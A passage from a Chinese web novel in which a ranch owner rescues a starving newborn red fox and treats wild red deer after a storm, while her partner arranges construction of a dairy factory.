还有好多只鸟，她也不大认得，反正体型都还挺小的，也就两个小时左右，一个大麻袋就不够装了。 姚新泉叹了口气又拿出了一个麻袋继续工作。 当然了，洞也不少，每填平一个她都觉得心安了一些，毕竟要是马腿或者什么在跑起来的时候陷进去那是必定会折断的。 中午去菜地摘菜时看到豆角、茄子等都被师月江用布条子绑在小树枝上面姚新泉心里又满是感慨，真的还好有他啊！ 有些活儿看着不重也不多，但是真干起来自己一个人那也别想弄得过来的！ 当时留着的西红柿基本都被雨打掉了，得拔了苗重新种，不过这几天谁也没时间等过两天再说吧！ 摘了点儿豆角又割了点儿被打的东倒西歪的韭菜便回去了，家里还有肉，炒了个豆角后又炒了个韭菜鸡蛋，煮了把挂面一拌就成。 又给小家伙们把饭喂了，病号小雪豹的药也换了一次后她带着工具又出门了。 小动物们都很机敏，上次河水被排污的事情一出，靠近河岸的地方便没有多少小动物了，因此暴雨下来河水暴涨后倒没有多少住在河边被河水倒灌而淹死的。 但河岸附近的洞可真不少啊！ 姚新泉扛着铁锨填着坑，大太阳晒着人都晕晕乎乎的，半晌实在受不了了去树下乘凉。 她把自己提前冷泡的菊花茶拿了出来咕咚咕咚喝了一大口，又把随身带着的小家伙们的碗翻了出来，给他们也倒上凉白开，招呼他们过来歇一会儿再接着干。 姚新泉靠在树干上感受着太阳星星点点透过树叶落在身上，塔塔原本趴在地上，目光一直落在她身上的光斑上。 当树叶被风吹动，光斑移动的刹那，塔塔一下扑了过来，嗷呜一声把脑袋搭在了姚新泉腿上，光斑正好落在他的鼻子上。 姚新泉抱着大宝贝笑得无奈，这太阳可太适合午睡了啊！ 迷瞪了一会儿后她接着干活，下午这片草场的海拔稍微高一些，可能因为这个，水往下流，虽然雨水也会灌到巢穴里，但倒是没有直接淹死多少小动物。 她扛着铁锹走到一个大石头边上，这石头所在的地方算是这里除了那边的一座小山之外的最高点了，她本想过去看看有没有坑洞的，可目光落在坑洞边上时目光突然一凝，那是，狐狸毛？ 她想把石头搬开，但尝试了几次后都搬不动，这石头实在是太大了，最起码大几百公斤，她再有金手指加持也只是个普通人啊！ 姚新泉无奈跪在地上，她过来也没带小铲子，用铁锹的话土一松动会往下面掉，现在也不知道里面有啥，万一有活着的小动物，别到时候没被雨水淹死，倒被她用土给埋了…… 她无奈开始用手扒拉土，先把洞扩大一些，逐渐能看到里面是有东西的，但是大石头挡在那里根本看不到是什么，更看不到是否还活着。 姚新泉头疼得不行，主要是她现在不敢往里伸手啊，谁知道里面有啥？ 她四下看了看，见小动物们都不在附近，她想了想干脆把石头推下去吧！ 反正搬也搬不动，还是推下去吧！ 她活动了下手腕，咬牙使出全部的劲儿用力推了过去。 感受到大石头的松动，姚新泉心里一喜，后面是个坡，只要松动了就方便推下去了。 她深深吸入一口气，用力一推！ 大石头轰的一下便从坡上滚了下去，姚新泉脱力倒在了地上。 她赶忙看向那个坑底下，果不其然，里面有三只小狐狸！ 这个坑洞的构造比较奇特，雨水并不会直接灌入，但是洞口非常小，想来也是因为这个原因母狐狸进不来吧！ 她看向几个小家伙，有两只很明显已经死了，靠近一点的话都有味道了，另外一只，姚新泉凑近了些就发现，它的腹部还有一些轻微的起伏！ 姚新泉心剧烈跳动了起来，她赶紧捧起小狐狸，又把两只死了的狐狸放到麻袋里，抱着狐狸拎着袋子就往车那边跑。 小家伙身上还是黑色的短绒毛，眼睛都没睁开，估计出生到现在还不到一周！ 小家伙应该是赤狐，它的母亲很大可能就是之前发现的死掉的那只，毕竟那只也是很明显正在哺乳期。 牧场里的野生动物不算太多，不至于这么巧同时有好几只哺乳期的狐狸，还都是赤狐，还都母子分离了…… 那母狐狸死了最起码有两天了，也就是说这小家伙至少有两天没吃过奶，它的同胞兄弟都死了，只有它撑住了。 姚新泉把它捧在胸口，招呼一声小家伙们就赶紧骑车回家。 它坚持到了现在，姚新泉不能让它在等到救援后死亡。 第136章 姚新泉觉得自己把三轮摩托车开出了方程式赛车的感觉,一个漂移停在了院子门口。 她跑进屋子，找了个干净的布垫在椅子上后把小赤狐放在椅子上，她赶紧去先好好洗了个手,毕竟刚才接触了那么多死亡的小动物。 她把药箱翻了出来,找出葡萄糖溶液,又翻出1ml的一次性针筒。 一周大的小赤狐一般情况□□重大概在150g-250g之间,但是这只小赤狐应该是因为饿了好几天,还脱水,所以体重最多也就120g左右，情况很严峻了。 用温水温浴加热葡萄糖后，她小心抬起小赤狐的头，将注射器放到它嘴边。 姚新泉完全不敢用力掰它的嘴！ 小赤狐的求生欲很强,感受到液体在嘴边,它赶忙张开了嘴,鼻腔里发出微弱到几乎听不到的哼唧声，姚新泉眼眶一酸。 她放缓了推入葡萄糖的速度，1ml的葡萄糖,她愣是将近一分钟才完全喂给它。 之后又喂了10管左右,一般这种情况喂它体重十分之一的量也就差不多了。 她想了半晌后又吸了一管，“系统,治愈术。” 小赤狐身上没有外伤,看它的骨架子其实是一只正常甚至比较健康的小赤狐,但遇到了这种天灾,它母亲能找到那样一个地方已经很是难得了，他们哪里还有别的抗风险能力？ 它现在身体这么弱主要还是因为几天未进食加上脱水导致的，现在暂时没办法直接给它喂奶，只能先补水,她就决定把治愈术混合葡萄糖一起给它喂下去吧！ 也许是心理作用，也许是小赤狐身上有了点儿劲，它看着精神略微好了一些，倒让姚新泉心里很是安慰。 她找了个干净帕子，略沾了沾温水给小赤狐擦了下身上，也不敢真的弄湿，怕孩子现在抵抗力太弱了再给冻病了。 牧场还没走完，她后面不一定有时间再过一次，所以想了想干脆把小赤狐带上，给它准备了个小篮子跟小垫子之类的，篮子就放在自己三轮车的脚踏板上，带上葡萄糖还有消毒的酒精这些便出发了。 刚回去给家里的几个幼崽又喂过一回奶，它们比这只小赤狐大一些，每顿吃的也多，所以自己两三个小时喂一次也问题不大。但这只小赤狐需要30分钟左右喂一次葡萄糖液，等六个小时之后再慢慢开始喂奶。 奶粉的话他们这的条件也别想找什么专业小狐狸用的奶粉了，就跟家里那几只一样吧！ 姚新泉不知道该怎么形容，但是她现在觉得自己好像多了一种能力，她看到一个小动物，不用经过任何检查，大概就能知道它有什么问题，有多大问题。 “系统，是你吗？” “嗯哼！”系统声音里满是得意，不过还是解释了两句，“这不是我赋予你的能力，是在你接受了兽医课程，并且在取得一定的进展后兽医课程带给你的”，它想了想，“算是奖励吧！” 姚新泉在兽医这方面真的很有天赋，在系统看来，其实她没必要开牧场啊，去做兽医也挺好的！ 钱也不少赚，还没这么多琐碎的活儿，开牧场太麻烦了，它看着都烦。 姚新泉听到系统的话后笑了一下，“不会啊，我觉得都很好，开牧场兼职做兽医很好啊！” 如果每天接受到的都是伤病的小动物，姚新泉觉得自己心里压力会非常大，但现在不一样啊，做兽医算是她的副业，说难听一点，就算她救不活这些小动物，她也可以继续开自己的牧场！ 而且牧场上生机勃勃，它们无忧无虑生活着，看着都让人觉得有希望。 她喜欢开牧场，也喜欢做兽医，两者不相斥。 系统没再说什么，做什么事宿主的自由，它不会干涉。 姚新泉载着小狐狸继续去牧场忙活，也是没办法的事情，别的都好说，被淹死的 小动物如果继续留在牧场上万一发生了什么更坏的事情…… 她真的不想再听到任何不好的消息了…… 山下师月江去了张运秋的店里，听到他的来意后，张运秋抓了把头发就带着他往外走。 “小姨夫，你这是？”师月江有些懵地看着他把卷帘门拉下来。 张运秋问他把摩托车钥匙要了过来示意他上车，“我带你过去，你们除了那个厂房之外，家里屋子是不是也要接上几间？我记得上回听新泉说过这个事情。” 师月江点头，“一直在说要接，但是没顾得上。” 张运秋单腿撑在地上，嘴里叼了根烟，“你看你们要不要一起？这小伙子人虽然年轻，但是他是出去跟人干了好几年大工的，手上也有真功夫，不是那种找了几个小流氓就敢出来接活儿的人。你们要是一起的话价格还能往下谈谈。” 想了想又道，“新泉手上钱要是不趁手我这边还有，从我这里拿。” 他吐了个烟圈意味不明地看着师月江，“她有自己的房子我们也放心些，盖房子的钱要是不够，我们还有她小姨那边都能拿出一些来。” 听他一直强调是姚新泉的房子什么的，师月江倒也不生气，甚至觉得有点好笑又有点暖心。 “新泉没提钱不够的事情，两个一起盖也成，就先一起谈吧！” 张运秋笑了笑，让他赶紧上车，载着他就去了一套自建房。 这是一栋二层小楼，虽然是自建房，但看着外形也有点独领风骚的意思了！ 外墙贴了瓷砖。 张运秋停下车后在院子外面喊，“巴图，巴图你在吗？” 没一会儿有人从小楼里出来，一眼看过去就是个壮汉，跟头大黑熊一样。 这人见到张运秋后笑着抱了他一下，“张老板怎么有空来我这小地方了？” 张运秋没好气地锤了他一下，拉着师月江介绍，“这是我未来的外甥女婿，自家人，他们想搞个奶制品厂，也比较着急着要厂房，想着先让你帮着收拾出几间来，刷上墙，地上抹上水泥，然后在旁边再盖上点儿厂房办公楼什么的，你能吃得下吗？” 巴图眼睛一亮，赶忙上来跟师月江握手，“兄弟可以啊，咋想起在咱们县盖厂子了，不是有个奶制品厂吗？”巴图声音里是毫不掩饰的嫌弃，那破厂子这么些年过去了愈发不行了，他现在都不喜欢买那个厂子里出来的东西。 家里喝□□都是直接从牧民家里订，一次给他们送上两公斤，每天一次，足够家里人喝了。 张运秋摊手，“那破厂子倒闭不是迟早的事情吗？”接着他大概讲了一下那家的事情，巴图黑着脸骂了一句，然后又看向师月江，“收拾屋子快，盖房子的话还是要一段时间的。另外现在都是盖砖混的，不过你如果是盖厂房的话最好还是用上钢筋”，怕师月江误会，他又解释了一句，“不是我们想赚你什么钱，你是老张家的孩子，我跟你说的都是实打实的东西。咱们这边盖房子虽然说政府还没出来管控或者给什么文件指示，但是我们干这一行的都知道，得考虑抗震问题。” 张运秋在一边点头，“咱们这边每次倒都不算太大的震感，但是也算地震频发了，从前没那个条件也就算了，有条件的话还是得考虑上。” 巴图也点头，“对，就是这个情况，砖混的抗压能力强，但是抗拉能力一般。万一遇到地震，砖混的结构可能会受到冲击，也有可能会开裂跟断裂。但是有钢筋的话就会好很多，但我也实话实说，会贵上不少钱。” 因为这，他之前给普通老百姓盖房子的时候基本上都不会提钢筋的事情，买钢筋也难，还要他搭人情，好多人听了这个还会觉得是他想要多赚钱呢！ 他不爱干这种吃力不讨好的事情！ “钢筋不好买吧？”师月江倒不是不愿意，只是担心巴图有没有这个途径，没有的话他可能又要召唤他哥了。 巴图点了点头，“钢筋是计划内的产品，都是要国家进行调控划拨的，普通人哪里买得到？” “那你巴图也不是普通人啊？”张运秋在一边捧了一句，巴图嘿嘿笑了声，声音也不自觉放低了一些，“我倒是有路子，不过还是要贵一些的，国家那边是大概1300-1500一吨，私下买，要将近1800到2000一吨了，你那个厂子车间加仓库还有锅炉房之类的，加起来估计要3万左右，而且我得提前告诉你，这笔钱我最多让人家开个收条，还不会写是什么用途，更不用说开发票了。” 这东西深究起来都算薅国家羊毛了，开个毛线发票？ 师月江想都没想就答应了下来，“可以，这些都听你安排吧！” 巴图那句你要是不同意那你可以自己想办法搞钢筋的话被堵在了嘴里，但心里还是高兴的，谁被人信任了会不高兴？ “可以啊，我看这小伙子挺好的，咱外甥女眼光不错！” 张运秋笑骂了两声，但心里忍不住琢磨，这小子到底多有钱，几万块钱完全不放在心上？ 他这么有钱了应该不至于贪图新泉的那仨瓜俩枣，但是有钱男人可没几个好东西啊！ 正当他纠结着，就听二楼楼梯突然传来一道惊喜的声音，“师月江？” 第137章 众人抬头看去,巴图没好气地瞪了他一眼，“这都几点了你才起床？你干脆别起了，我给你把饭端到床上去吧？” 乌日图嘿嘿一笑,也没理他哥,反倒是凑到了师月江面前很是激动地拍了拍他的肩膀,“你怎么过来的,来找我吗？” 师月江笑了笑,“不是。” 巴图给乌日图解释了一下他的来意,乌日图瞪大了眼睛，“你要开厂子啊？你怎么这么厉害？你还不知道吧，我们队长在往上面报材料，把你的事迹也提交上去了,搞不好你还能评个先进个人呢！” 张运秋疑惑地看着 他,“你们在说什么呢？什么先进个人？” 乌日图把之前的事情说了一遍,满脸都是赞叹，张运秋听了后虽觉得他太过冒险，但是也不好指责他什么,但打定主意到时候得跟姚新泉好好说道说道,这胆子也太大了，万一出了点儿什么事情可怎么办？ “你现在还要办厂,你可太厉害了啊！你找我哥盖房子那可是找对了,我哥盖房子啊”,没等他说完,巴图一把捂住他的嘴，“你哥盖得房子好别人都知道，你别在这吹了，赶紧吃饭去,给你留饭了！” 乌日图嘿嘿一笑，“我们今天放了一天假，好不容易休息所以睡到现在，等下次我放假了我上山去找你玩儿啊！” 师月江笑着朝他点头，“地址你知道的，我一般都在山上。” 几人又聊起盖房子的事情，“山上也要加盖几间，在原本的房子上接两间，这个你们能干吗？” 巴图点头，“这有什么不能的，就是那房子外面看上去会有色差，你们要是觉得不好看，就跟里面一样刷大白就成”，有的砖烧制的不是太好，再加上刮风下雨的就容易变色，表面上还有可能析出白色的结晶，这种跟新烧出来的红砖一对比其实还挺明显的。 师月江点头，“这个影响不到，到时候我们再看吧”，姚新泉不会在意这些的，他更不会在意，屋子自己住着舒服就成了啊！ “那行，我过会儿就跟你过去现场丈量规划一下，你看你是自己买材料还是我们包工包料？” 师月江毫不迟疑，“你们包工包料吧，但是材料质量你们得有保障的”。 巴图点头，“那当然了，我们大本营就在这里，盖房子的事情如果搞不好那是会出人命的，别说我们未来生意能不能做下去，搞不好下半辈子饭辙都有了！” 几人说说笑笑，知道他那边土地本来就是工业用地，也不涉及到什么变更，手续也在办，虽然还没下来，但是还是先带了几个人跟着他出去丈量规划，也可以先开始收拾那几间屋子。 另一边姚新泉在牧场上转了一个下午，到8点多的时候才算是勉强转完，当然了，不是说她全都跑了一遍，是家里小动物们全都跑了一遍，无论是坑洞还是死亡的野生动物全部该收拾的都收拾干净了，明天牲畜们就能放出去了，想到这里她松了口气。 牲畜一多，圈养起来是真的要命啊！ 师月江还没回来，她也没顾得上做饭，回了院子后拿上打火机和提前准备好的干麦草干柴火，把小狐狸放下后又开着车去了不远处一个戈壁滩。 三个大麻袋装的满满的，她把麻袋堆放在地上，旁边堆上柴火跟干草。姚新泉点着干草后站在一边看着火光逐渐漫延到那些死去的小动物身上不禁沉沉叹了口气。 从前它们活着的时候姚新泉都不知道自己牧场里有这么多小家伙，这才发现就死了这么多。 “都收拾完了？” 听到师月江的声音传来她看了过去朝他点点头，“三袋子，明天可以放出去了。” 师月江揽着她的肩膀，两人也没离开，站在风吹不到的地方看着那边。 “还没吃饭吧？”见姚新泉点头，他献宝一样把自己带上来的两份拌面举了起来，“县里开的店还不算太多，我就买了他家的拌面，小家伙们的我还买了肉，回去给他们煮上。” 姚新泉点了点头，两人一直等到那边火光渐熄后才过去看了看，确定火都灭了这才离开。 “明天就放开散养吧，别的倒还好，鸡鸭鹅我真的喂得烦死了”，姚新泉忍不住抱怨。 家里牛羊这些这几天没有鲜草吃就给它们喂的干草，家里草都是捆起来一剁一剁的，用叉子挑进去就行。 但是鸡鸭鹅不行啊！ 也不是不能直接让它们吃牧场上的草或者干脆放出去，但问题是吃多了容易腹泻。 鸡鸭鹅太小了，一腹泻就容易死，而且数量太多，真有那只不舒服她肯定没办法第一时间发现并治疗。 所以这阵子都是直接给它们拌的麸皮，也费劲儿的不行！ 这下确认牧场上没什么死了的小动物了，至少不用担心发生什么疫病，明天就都给放出去！ 师月江笑着拉着她一人骑一辆车回去了。 回去后师月江给小动物们做饭，姚新泉则是先给小狐狸喂了一次葡萄糖水，看它状态好了不少后才朝屋里喊，“月江，你把骆驼奶跟羊奶都热一点”，她又跑去看了一下自制的益生菌，看状态应该是没问题了心下高兴，决定过会儿给它们喂上一点。 毕竟家里这些小崽子都不是吃的母乳，也不是专门的奶粉，只能想办法降低腹泻的可能性了。 师月江是在山下买了两个份装在塑料袋里的拌面，姚新泉翻出了两个盘子来把拌面倒进去，想了想又问，“家里还有黄瓜吗？” 师月江点了点头，“之前摘得还有剩的，不过有点蔫了，你想凉拌？” 姚新泉点头，翻出黄瓜后一看，果不其然，上面刺都软了。 师月江接过黄瓜，“我削下皮吧”，家里黄瓜本来是又嫩又脆的，黄瓜皮也好吃，但现在这黄瓜蔫了，黄瓜皮也软哒哒的，削皮后口感可能还能好一点。 姚新泉摸出个独头蒜扒了皮，又把之前放了小葱、花椒的料油翻了出来，等他拍好后倒上料油跟蒜末，放了点儿盐就足够好吃了。 姚新泉早都饿了，吃了一大口面后她看向师月江，“谈的怎么样了？” 师月江把进展跟她说了，“这几天我盯一盯，手续下来后看着他们把那几间屋子收拾出来，后面就不用整天在那边了，巴图是个挺靠谱的人。” “巴图”，姚新泉沉吟了一会儿突然反应过来，“他之前也是我们高中的，读书晚，只比我们高一届，那时候他跟楼宇篮球都打得好，两人玩得也挺好的，我跟他不熟，但也说过几句话，没想到现在干建筑了啊！” 师月江没想到他们竟然认识，可转念一想也正常，一个县才多少人，认识太正常不过了！ 两人正聊着电话突然响了，姚新泉过去接起了电话。 “喂，姚同志，我是杜若林。” 姚新泉笑着嗯了一声，“怎么打来了，是想问问炽焰吗？” 杜若林本来还担心她这边会不会因为暴雨有什么损失，但见她好像情绪还可以便笑了起来，“没有，就是想着你们那儿有没有什么要帮忙的。” 这次雨的覆盖范围其实不大，而且虽然雨势大，但是持续时间不算太长，真说遭了灾也基本只有他们一个县，别的地方没受什么太大影响。 姚新泉笑着道了谢，又解释道，“整体情况其实还好，没有人员死亡，受伤的有，但是情况整体还可以。房屋倒塌的也基本都是年久失修的土坯房，牲畜、农田之类的确实有受损，但总的来说还算是在可控范围内，有影响，但是影响不算特别大。” 当然了，因为出了奶制品厂的事情相当于给县领导们提了个醒，下面报上来的损失搞不好是有水分的，他们得好好查一下，不过总的来说比预期的情况要好得多。 杜若林也放心了下来，他前几天去别的任务了，回来之后才听说了这件事，当时心就提起来了，不知道姚新泉牧场是什么情况，不知道炽焰是什么情况。 不过就算他没出任务他们隔得那么远，也不会安排他们过来救灾的。 两人聊了几句，姚新泉跟他大致讲了下炽焰的状态，“再过两周我打算给他把支架取掉，让他尝试缓慢行走。至于他腹部的伤已经恢复的很不错了，等腿上的伤好了后再慢慢复健，情况很不错。” 电话那头杜若林的心绪很不平静，他深吸了几口气后才道，“姚同志，我有个不情之请，看能否联系下你们照相馆的工作人员给炽焰拍几张照片过来，我们带去给战友。炽焰是他 从小带到大的，他一醒来就问炽焰的事情，我们跟他说情况挺好他也不相信，还觉得我们是不是把炽焰杀了还瞒着他呢！” 姚新泉失笑，“我去帮你问问，不过到时候人家出外勤的钱得你自己负担啊！”她再喜欢炽焰，这种不涉及到生命的事情，她又不是炽焰的主人，肯定不可能自己负担啊！ 第138章 找照相馆的事情意料之外的顺利,县里在姚新泉他们没有注意到的时候突然多了一家小康照相馆，经营者是一位年轻的女同志。 听了姚新泉的想法后她欣然答应，当然了,因为路途相对较远所以比一般的出外景贵一些。 等拍完照片后姚新泉也没让她直接寄过去,毕竟部队的地址不好随便跟外人讲的。 等姚新泉用三轮车把老板跟机器送下山回来的时候就看到牧场大门口停了一辆小轿车。 对方见到姚新泉赶忙下车,原来是师星野的助理小李。 李助理笑着跟她打招呼,又帮着把她买的东西拎进去。 “怎么没给月江打电话？”师月江是带着大哥大的,应该能联系上啊？ “没那么急,再说我也刚到。” 姚新泉给他煮了壶奶茶拎过来，有点好奇对方的来意。 “之前师总说要给咱们上山的路修一下，我已经联系好人跟材料了，也对接好政府部门,随时可以开始,你看你们这边方便吗？” “这么快都都对接好了啊？”姚新泉咂舌,前几天的暴雨刚结束，现在县里都还在想办法尽快恢复生产生活呢，他这都办好了？ 李助理轻笑了一声,“之前做了不少,轻车熟路了。” 公司捐了不少路，最开始他们也担心会不会出现捐钱被挪用的这种情况,但是到底这边不管是地理位置还是各方面都相对特殊一些,如果想从内地往这边拉沥青、机械之类的,成本绝对又要增加一大截。 但是如果直接捐钱,那问题相对来说就少一些了，修路的钱都出来了，不管是购买一些计划内的物资还是调用机械，对于体制内来说都不是太大的问题,他们就不给自己找麻烦了。 至于监管，他本身就找人专门去做过预算，多少钱能办成这个事情，并且还跟政府签署了协议，明确约定好了资金用途、建设标准、工期及监督方式之类的。 在资金也就超出一点点并且有相对严格的监管的情况下，这钱的用途至少大部分还是可以保障的。 他赚的钱是多，但也不是从天上掉下来的，捐出去可以，但是至少得是真的用到了该用的地方上。 “这次没这么麻烦，本身也不是主路，又是修到你们家门口，所以我直接联系了之前相熟的工程队，材料要的也不多，县里这边也没卡咱们，都不是什么麻烦事。” “需要我们做什么吗？” 李助理摇了摇头，“不用，吃住都是他们自理，只是铺路的时候你们那几天可能出行不太方便。” 不过总的来说也还好，最开始要在原本的土路上做一些处理，比方说要先把土路压实，然后要在上面垫上一层砂石层，当然了可能还涉及到一些相对专业一点的问题，像是要处理沉降问题之类的。 “出行麻烦但也不是不能走”，李助理解释了一句，“不过后面铺设沥青的时候按照现有的天气最起码前六个小时不要踩，第一天不要载重太大的车辆经过，问题不大。” 现在白天气温高，沥青铺设完毕后一般情况下6-12小时就能基本冷却了。 但是想要完全冷却的话还是需要24-48小时，如果想要走车的话，那也得24小时之后了。 至于重型车辆，一个县也没几辆，更不会莫名其妙来他们牧场的。 不过唯一麻烦的就是牛奶怎么运下去了，姚新泉想了想问题也不算大，铺沥青之前就正常上来运，铺沥青之后的话冷却六个小时之后不行让三轮车或者马车先上来运，也不算费事儿。 这事儿确定好了之后姚新泉又问起了机器的事情，李助理其实有点无奈，毕竟这奶厂并不是集团下属的公司，只是董事长他们私下倒腾的，按道理说不应该由他来安排联系这些事情。 再说了这边即便算不上鸟不拉屎，但到底也是偏远地区，和首都没法儿比的，他私心里是不愿意在这边长久停留。 但谁让大老板给红包了呢！ 大红包！ 李助理现在忙得非常乐意！ “从咱们西北这边省份运过来的估计已经在半道上了，从外地运过来的基本也都已经上火车了”，有些事情看着解决起来很麻烦，但实际上只是钱不够多而已。钱一多了，不管是从人家厂子里直接购买别人的机器，还是联络运输渠道什么的，这都不是什么问题。 姚新泉听到有着落了这才放下心来，招呼李助理在家吃饭，李助理忙的很没特意留下来吃饭，确定好事情后便下山离开。 今天牛羊这些都放出去了，家里基本都剩些病号，她想了想跑去把马鹿牵了出来。 炽焰个子不算小，虽然是中型马，但人家能被不对选去服役就知道底子肯定好，但即便这样，跟马鹿比起来都娇小了不少，所以哪怕他其实还挺不高兴的，但是姚新泉站在马鹿身边的时候他也啥都不敢干，跟个小媳妇一样。 姚新泉心里好笑，这家伙真是欺软怕硬啊！虽说不至于咬她或者踢她，但是在她面前，跟在马鹿面前完全是两种态度好嘛！ 绳子虚虚圈在马鹿脖子上，她往前走手上也没用力，大家伙就跟在她身后出门。 见马鹿乖巧跟在自己身后，姚新泉想了想干脆把绳子解开拍了拍他的脖子示意他跟着自己。 马鹿跟在姚新泉身后走出生活区后低头吃了几口草，姚新泉看着他的模样忍不住笑，“你怎么嚼得这么优雅啊！” 马鹿咀嚼的时候神情专注却又很从容，他微微低下头，轻轻将嫩草叶卷入嘴中，动作缓慢却又规律，只看着便让人觉得入迷，姚新泉甚至觉得这声音听着入睡应该挺催眠的…… 听到姚新泉的声音，他的耳朵动了动，喉头微动咽下嘴中的食物后又卷起一嘴的嫩叶试探性地递给姚新泉，姚新泉笑着婉拒了，“不太合我的口味，你自己吃吧！” 马鹿硕大的脑袋微微歪了歪，眨巴着眼睛看着她，似乎不明白她为什么不吃。 但见她坚持，马鹿似乎很是无奈般地将嘴里的草叶又嚼了起来。 姚新泉也没带着他走很远，就在围墙边转了转，主要还是上次马蜂的事情给人长记性了，那些坏人真想搞什么很大概率还是在围墙边上，所以姚新泉有空就喜欢过来转一转，真有什么也能及时解决。 马鹿应该是不怎么喜欢吃干草，这几天就跟敷衍她一样，给了干草就象征性吃一些，倒也没饿着自己，但现在见到鲜草后态度明显不一样了。 姚新泉见他吃得高兴，干脆就让他在这片吃，自己先是坐在地上，双手向后撑，感受着太阳落在身上的温度，姚新泉干脆就躺在地上了，什么草鳖子的根本顾不得。 被太阳晒得迷迷瞪瞪就快要睡着时姚新泉突然感觉到地面在震动，她赶忙爬起来，地震了？不是吧？ 可又觉得不太对，站起来后咋就没感觉了？ 她四下打量看看，就见远处有东西急速向这边冲过来，姚新泉吓了一跳，没过一会儿隔着围栏看到外面的动物后姚新泉沉默了。 她扭过头来看向马鹿，“你朋友啊？” 围栏外面正是将近20头马鹿，大的小的都有。 大马鹿都懒得看外面继续淡定地吃着草，外面那些马鹿就不一样了，各个儿激动得不行，“哞”“哞”地叫着，吵得姚新泉脑仁儿疼，就跟一群老公牛在脑袋边上叫唤一样。 牧场上的狗子们大老远也听到动静了，纷纷发出警告的叫声，听着动静应该是在往这边跑，姚新泉头都大了。 “不是，你到底认不认识啊？”她没忍住扯了下马鹿的耳朵，马鹿这才不情不愿地抬起头，朝着姚新泉喷了口气，然后发出了低沉的叫声，外面的马鹿们瞬间歇了叫声。 姚新泉没好气地拍了他一下，随后扯着嗓子朝牧场里喊，“别过来了！” 也不知道他们有没有听到，不过倒确实没过来。 姚新泉看着外面那群激动得不住打转的马鹿们叹了口气，“要不你出去一趟看看？” 大马鹿不情不愿地跟着姚新泉绕了 一圈，那群马鹿就跟着他们移动，一出了大门那群马鹿就冲了上来将大马鹿围住，姚新泉眼疾手快地跳出了他们的包围圈。 开玩笑，那鹿角随便戳一下她都受不了好嘛！ 姚新泉伸长脖子数了一下，大大小小有18头呢！ 可看着里面的马鹿她又觉得奇怪，她记得马鹿好像是雄鹿和雄鹿一起生活，雌性和幼崽一起生活，而且是以母系为主，一般是由雌性马鹿带领大家一起生活的。 而且大多数情况下，好像也没有非常明确的等级划分，但现在这是啥情况？里面雄性、雌性、幼崽都有，又不是繁殖期啊？ 而且只看里面的情况就能看出，其他马鹿对大马鹿的态度还是挺恭敬的。大马鹿对它们就很不耐烦，恨不得轰走它们一样。 似乎是感觉到了姚新泉的目光，大马鹿朝她看了过来，那眼神让姚新泉恍惚感觉到了其中的无奈。 她扯了扯嘴角，“你是它们的首领吗？” 第139章 大马鹿自然不会说话,只是有些烦闷地往她这边靠近了几步。 “你的伙伴们是想你回去吗？”姚新泉又问，其实不管他到底是不是这个族群的首领，姚新泉都能看得出来,其他马鹿很喜欢他。 但对上大马鹿的眼神姚新泉便也没有再问下去,她注意到有的马鹿身上有伤,不算太严重,但是也稍微有点红肿,想了想后还是拍了下大马鹿的角,“我回去拿药，你在这等我啊！” 等她回来之后也不知道马鹿们是不是沟通过了，其他马鹿都臊眉搭眼的，姚新泉也懒得管那么多,只叮嘱大马鹿看好伙伴们不许咬她踢她后便取出碘伏给马鹿们身上的伤口进行简单的清创。 野生动物经过大自然的选择,优胜劣汰能活下来的基本上体质都不错,比家养的要好，所以哪怕马鹿身上的伤口没有经过任何人为干预，但实际上过一段时间估计也能慢慢愈合。 就像大马鹿,他如果不是落水了,其实那伤口真没必要由姚新泉去治疗，也许过一段时间就能好。 马鹿群们身上普遍都有外伤,当然了,相对最严重的是一头小马鹿,它的耳朵不知道怎么回事给割开了个口子,那里已经红肿流脓了。 姚新泉皱眉，先给它做了个清创，但那伤口确实挺大的，估计有四公分左右了,得缝合，但现在它耳朵上都化脓了，必须得清创之后再说。 姚新泉想了想看向大马鹿，“你看怎么办？耳朵得治疗，不然后面可能会更严重。” 不知道大马鹿跟其他家伙们说了什么，反正那头小马鹿蹦蹦跳跳地跟在她还有大马鹿身后回牧场了，而其他马鹿则是一步三回头地离开。 见小马鹿实在是活泼，无奈姚新泉只能给它栓了个绳子，固定好后见它没抗拒，就先给它把耳朵上的毛剃了，做了消毒后先给它试探性地在耳朵上注射了一点普鲁卡因，确定它没有过敏反应后这才又用细针头抽取了普鲁卡因溶液，沿伤口边缘分点注射形成皮丘，等了五分钟后确定痛感暂时消失后赶紧拿着消毒过的器具进行缝合。 姚新泉动作很快，等全都收拾完后她笑着拍了下因为感觉不到耳朵的存在而不停扭头想去找耳朵的小家伙，“你算是有福了啊！” 师月江的药柜送上来的当天，高局让人给自己送来了几只麻醉药品，中药麻醉不是不能用，但是有麻醉剂当然是更好啦！ 在确定它也不青霉素过敏的情况下，又给它注入了适量青霉素抗感染。 “伤口就不给你包扎了，太热了，一包扎容易出汗，反倒是不好了。” 没急着给小家伙放开，因为大马鹿也在一边，所以小马鹿还算乖巧，并没有闹腾，算是个很乖的小病人，不像另一边的小雪豹，还得要莱尼盯着每日才能正常换药。 姚新泉刚回屋子就听见电话声响了起来，“喂。” “小姚啊，是这样的，协会明天组织了个活动，一方面是宣传关于防疫相关知识的，另一方面是有个良种推广会想邀请你来参加，有时间吗？” 姚新泉觉得有些奇怪，“良种推广？是政府单位组织的还是什么？” 赵强在电话那头笑了笑，“不算是他们组织的，只能说是他们背书的吧，说是挺好的牛羊好像还有猪，不过这次是只有羊过来，还是跟什么畜牧研究所合作培养推广的牲畜，一年两胎、长肉快，肉质也好，听起来真不错。” 姚新泉听了这话眉头便皱起来了，“是培育出来的杂交品种吗？”她怎么没听说过？ 赵强也那边像是也不太清楚一样含糊道，“是好是坏你过来一听不就清楚了？” 姚新泉想了想答应了下来。 这事儿听着不大对劲，之前因为考虑杂交羊的时候她选了湖羊，那时候是想着湖羊可以一年两胎，还一般都是多胎，挺好的。 但是事实上后来她又考虑了一下，一年两胎真未必能做到，两年三胎倒是能考虑一下。 湖羊普遍妊娠期大概是在147天左右，全年发情，分娩后子宫恢复也要一个月左右的时间，这样一算的话一年倒确实能两胎。但问题是这是靠着透支母羊身体来做到的啊！ 虽然不能这样对比吧，但是相当于母羊才出月子就让人家又怀孕还接着生，这对身体的损伤多大？ 最起码得三四个月恢复吧？ 湖羊如果喂养的好，并且没有太透支它的生命力，那一般情况下可以生五到七年，按照两年三胎，并且每胎两只来算，一头母羊是能够产18-24头羊羔的，当然这只是一个大概数据。 但如果透支人家的生命力，也许只能生3年到4年，那实际上产下羊羔的数量是更少的，所以姚新泉真没打算非逼着人家一年生两次。 